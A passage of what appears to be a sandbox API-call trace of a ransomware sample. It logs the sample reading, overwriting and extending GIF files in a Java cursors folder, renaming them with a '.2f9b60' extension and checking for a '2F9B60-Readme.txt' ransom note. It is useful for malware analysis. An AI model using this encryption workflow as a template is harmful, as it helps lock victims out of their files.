_Dest="7a") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6fa, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6fc, _Format="%c%c" | out: _Dest="60") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf6fe, _Format="%c%c" | out: _Dest="ee") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf700, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf702, _Format="%c%c" | out: _Dest="92") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf704, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf706, _Format="%c%c" | out: _Dest="62") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf708, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf70a, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf70c, _Format="%c%c" | out: _Dest="86") returned 2 [0235.317] sprintf (in: _Dest=0x1cddf70e, _Format="%c%c" | out: _Dest="39") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf710, _Format="%c%c" | out: _Dest="34") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf712, _Format="%c%c" | out: _Dest="c8") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf714, _Format="%c%c" | out: _Dest="49") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf716, _Format="%c%c" | out: _Dest="21") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf718, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf71a, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf71c, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf71e, _Format="%c%c" | out: _Dest="07") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf720, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf722, _Format="%c%c" | out: _Dest="19") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf724, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf726, _Format="%c%c" | out: _Dest="1a") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf728, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf72a, _Format="%c%c" | out: _Dest="21") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf72c, _Format="%c%c" | out: _Dest="fc") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf72e, _Format="%c%c" | out: _Dest="0b") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf730, _Format="%c%c" | out: _Dest="3f") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf732, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf734, _Format="%c%c" | out: _Dest="04") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf736, _Format="%c%c" | out: _Dest="0c") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf738, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.318] sprintf (in: _Dest=0x1cddf73a, _Format="%c%c" | out: _Dest="f1") returned 2 [0235.318] RtlInitAnsiString (in: DestinationString=0x2412f6e8, SourceString="e32b287818c1094cfdacd4b37ac560eefd920d621dca863934c849218cd8b807ca19fd1a1d21fc0b3fb4040cf4f1" | out: DestinationString="e32b287818c1094cfdacd4b37ac560eefd920d621dca863934c849218cd8b807ca19fd1a1d21fc0b3fb4040cf4f1") [0235.318] RtlAnsiStringToUnicodeString (in: DestinationString=0x2412f6b8, SourceString="e32b287818c1094cfdacd4b37ac560eefd920d621dca863934c849218cd8b807ca19fd1a1d21fc0b3fb4040cf4f1", AllocateDestinationString=1 | out: DestinationString="e32b287818c1094cfdacd4b37ac560eefd920d621dca863934c849218cd8b807ca19fd1a1d21fc0b3fb4040cf4f1") returned 0x0 [0235.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310c720 [0235.319] wcscat (in: _Dest=0x431f4a90, _Source="e32b287818c1094cfdacd4b" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\e32b287818c1094cfdacd4b") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\e32b287818c1094cfdacd4b" [0235.319] wcscat (in: _Dest=0x431f4a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\e32b287818c1094cfdacd4b.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\e32b287818c1094cfdacd4b.2f9b60" [0235.320] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\e32b287818c1094cfdacd4b.2f9b60", NtPathName=0x2412f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\e32b287818c1094cfdacd4b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310dde0 [0236.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310dde0) returned 1 [0236.760] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b6ec0) returned 1 [0236.760] NtQueryInformationFile (in: FileHandle=0x2ee0, IoStatusBlock=0x2412f6f8, FileInformation=0x2412f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2412f6f8, FileInformation=0x2412f708) returned 0x0 [0236.760] NtSetInformationFile (FileHandle=0x2ee0, IoStatusBlock=0x2412f6f8, FileInformation=0x2412f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4a90) returned 1 [0237.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c720) returned 1 [0237.372] FlushFileBuffers (hFile=0x2ee0) returned 1 [0238.255] CloseHandle (hObject=0x2ee0) returned 1 [0241.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205de10 [0241.721] wcscpy (in: _Dest=0x4205de10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0241.721] wcscat (in: _Dest=0x4205de10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0241.721] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0x20 [0241.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205de10) returned 1 [0241.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431834e0) returned 1 Thread: id = 3804 os_tid = 0x1394 [0227.679] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0228.279] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", dwFileAttributes=0x20) returned 1 [0228.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa80 [0228.719] GetFileSizeEx (in: hFile=0xa80, lpFileSize=0x294efc00 | out: lpFileSize=0x294efc00*=153) returned 1 [0228.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5c80 [0228.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6220 [0228.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4630 [0228.720] NtQuerySystemTime (in: CurrentTime=0x294efac0 | out: CurrentTime=0x294efac0*=132462178327126000) returned 0x0 [0228.720] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x4f706470 [0228.720] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0xc9f2d65 [0228.720] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x7c5ad5d6 [0228.720] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x56c04fe1 [0228.720] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x494bb984 [0228.720] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x4575f2b0 [0228.720] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x7bed921f [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x2047ca79 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x1578a55b [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0xea4a792 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x530a8bc1 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x1571ff9d [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x470615a7 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x5a51d2ed [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x4249a610 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x3f0738fd [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x1958e512 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0xa3f2285 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x6296c0ab [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x47a6939 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x60f0a8de [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x56d2529a [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x7b529cb7 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x43b0736 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x402cb6ae [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x68df912e [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x2f7840db [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x42d7b70 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x11ec60df [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x7dfc06b6 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x6bf97ce6 [0228.721] RtlRandomEx (in: Seed=0x294efab0 | out: Seed=0x294efab0) returned 0x4951be7a [0228.729] ReadFile (in: hFile=0xa80, lpBuffer=0x41f9f0f0, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x294efab0, lpOverlapped=0x0 | out: lpBuffer=0x41f9f0f0*, lpNumberOfBytesRead=0x294efab0*=0x99, lpOverlapped=0x0) returned 1 [0228.730] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.730] WriteFile (in: hFile=0xa80, lpBuffer=0x41f9b4e0*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x294efab4, lpOverlapped=0x0 | out: lpBuffer=0x41f9b4e0*, lpNumberOfBytesWritten=0x294efab4*=0x99, lpOverlapped=0x0) returned 1 [0233.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab0a0 [0233.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa710 [0233.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa710) returned 1 [0233.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9b4e0) returned 1 [0233.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f9f0f0) returned 1 [0233.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0233.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce618d0) returned 1 [0233.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce618d0 [0233.010] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.010] WriteFile (in: hFile=0xa80, lpBuffer=0x42c21be0*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x294efbd0, lpOverlapped=0x0 | out: lpBuffer=0x42c21be0*, lpNumberOfBytesWritten=0x294efbd0*=0x124, lpOverlapped=0x0) returned 1 [0235.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61880 [0235.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f47b0 [0235.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f47b0) returned 1 [0235.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ad820 [0235.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f47b0 [0235.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4780 [0235.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4780) returned 1 [0235.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61880) returned 1 [0235.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x1cddf6e0 [0235.329] sprintf (in: _Dest=0x1cddf6e0, _Format="%c%c" | out: _Dest="02") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6e2, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6e4, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6e6, _Format="%c%c" | out: _Dest="16") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6e8, _Format="%c%c" | out: _Dest="43") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6ea, _Format="%c%c" | out: _Dest="84") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6ec, _Format="%c%c" | out: _Dest="e7") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6ee, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6f0, _Format="%c%c" | out: _Dest="94") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6f2, _Format="%c%c" | out: _Dest="77") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6f4, _Format="%c%c" | out: _Dest="b6") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6f6, _Format="%c%c" | out: _Dest="f6") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6f8, _Format="%c%c" | out: _Dest="e2") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6fa, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6fc, _Format="%c%c" | out: _Dest="54") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf6fe, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf700, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf702, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf704, _Format="%c%c" | out: _Dest="20") returned 2 [0235.329] sprintf (in: _Dest=0x1cddf706, _Format="%c%c" | out: _Dest="40") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf708, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf70a, _Format="%c%c" | out: _Dest="98") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf70c, _Format="%c%c" | out: _Dest="9c") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf70e, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf710, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf712, _Format="%c%c" | out: _Dest="33") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf714, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf716, _Format="%c%c" | out: _Dest="0a") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf718, _Format="%c%c" | out: _Dest="7f") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf71a, _Format="%c%c" | out: _Dest="64") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf71c, _Format="%c%c" | out: _Dest="91") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf71e, _Format="%c%c" | out: _Dest="85") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf720, _Format="%c%c" | out: _Dest="8c") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf722, _Format="%c%c" | out: _Dest="01") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf724, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf726, _Format="%c%c" | out: _Dest="be") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf728, _Format="%c%c" | out: _Dest="88") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf72a, _Format="%c%c" | out: _Dest="79") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf72c, _Format="%c%c" | out: _Dest="d1") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf72e, _Format="%c%c" | out: _Dest="52") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf730, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf732, _Format="%c%c" | out: _Dest="5a") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf734, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf736, _Format="%c%c" | out: _Dest="2c") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf738, _Format="%c%c" | out: _Dest="a3") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf73a, _Format="%c%c" | out: _Dest="8d") returned 2 [0235.330] sprintf (in: _Dest=0x1cddf73c, _Format="%c%c" | out: _Dest="97") returned 2 [0235.331] sprintf (in: _Dest=0x1cddf73e, _Format="%c%c" | out: _Dest="48") returned 2 [0235.331] sprintf (in: _Dest=0x1cddf740, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.331] sprintf (in: _Dest=0x1cddf742, _Format="%c%c" | out: _Dest="71") returned 2 [0235.331] RtlInitAnsiString (in: DestinationString=0x294efc48, SourceString="02c35d164384e73a9477b6f6e2b954faf3b820404d989ca18c333b0a7f6491858c01e3be8879d152cb5a4e2ca38d9748a671" | out: DestinationString="02c35d164384e73a9477b6f6e2b954faf3b820404d989ca18c333b0a7f6491858c01e3be8879d152cb5a4e2ca38d9748a671") [0235.331] RtlAnsiStringToUnicodeString (in: DestinationString=0x294efc18, SourceString="02c35d164384e73a9477b6f6e2b954faf3b820404d989ca18c333b0a7f6491858c01e3be8879d152cb5a4e2ca38d9748a671", AllocateDestinationString=1 | out: DestinationString="02c35d164384e73a9477b6f6e2b954faf3b820404d989ca18c333b0a7f6491858c01e3be8879d152cb5a4e2ca38d9748a671") returned 0x0 [0235.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43115fa0 [0235.332] wcscat (in: _Dest=0x431114a0, _Source="02c35d164384e73a9477b6f6e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\02c35d164384e73a9477b6f6e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\02c35d164384e73a9477b6f6e" [0235.332] wcscat (in: _Dest=0x431114a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\02c35d164384e73a9477b6f6e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\02c35d164384e73a9477b6f6e.2f9b60" [0235.332] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\02c35d164384e73a9477b6f6e.2f9b60", NtPathName=0x294efbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\02c35d164384e73a9477b6f6e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x4310db70 [0240.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310db70) returned 1 [0240.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b2690) returned 1 [0240.253] NtQueryInformationFile (in: FileHandle=0xa80, IoStatusBlock=0x294efc58, FileInformation=0x294efc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x294efc58, FileInformation=0x294efc68) returned 0x0 [0240.253] NtSetInformationFile (FileHandle=0xa80, IoStatusBlock=0x294efc58, FileInformation=0x294efc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0242.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431114a0) returned 1 [0242.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115fa0) returned 1 [0242.555] FlushFileBuffers (hFile=0xa80) returned 1 [0242.567] CloseHandle (hObject=0xa80) returned 1 [0243.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b0f10 [0243.258] wcscpy (in: _Dest=0x202b0f10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\" [0243.258] wcscat (in: _Dest=0x202b0f10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" [0243.258] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\2f9b60-readme.txt")) returned 0x20 [0243.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0f10) returned 1 [0243.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4315ffe0) returned 1 Thread: id = 3805 os_tid = 0xdbc [0227.680] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0228.279] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", dwFileAttributes=0x20) returned 1 [0228.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d0 [0228.731] GetFileSizeEx (in: hFile=0x15d0, lpFileSize=0x24a3f760 | out: lpFileSize=0x24a3f760*=147) returned 1 [0228.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5c80 [0228.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4630 [0228.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3eb0 [0228.732] NtQuerySystemTime (in: CurrentTime=0x24a3f620 | out: CurrentTime=0x24a3f620*=132462178327282000) returned 0x0 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x31299f [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x7c8b1295 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x2e37b136 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x4b54c443 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0xedd3179 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x2e37b136 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x5b88b321 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x63b36c0b [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x3b5c7d7c [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x148e5cd0 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x5496a1b0 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x2896b5f4 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x419cf6a6 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x55e00b0 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x3972d8f7 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x1d7e7a57 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x4ff2a145 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x2ab4d4d6 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x1db4ef5a [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x59900ba2 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x7472853f [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x7d6ae65e [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x6aa7ef73 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0xfca5ea3 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x6f07d58a [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x6f214c83 [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: Seed=0x24a3f610) returned 0x200389cb [0228.732] RtlRandomEx (in: Seed=0x24a3f610 | out: 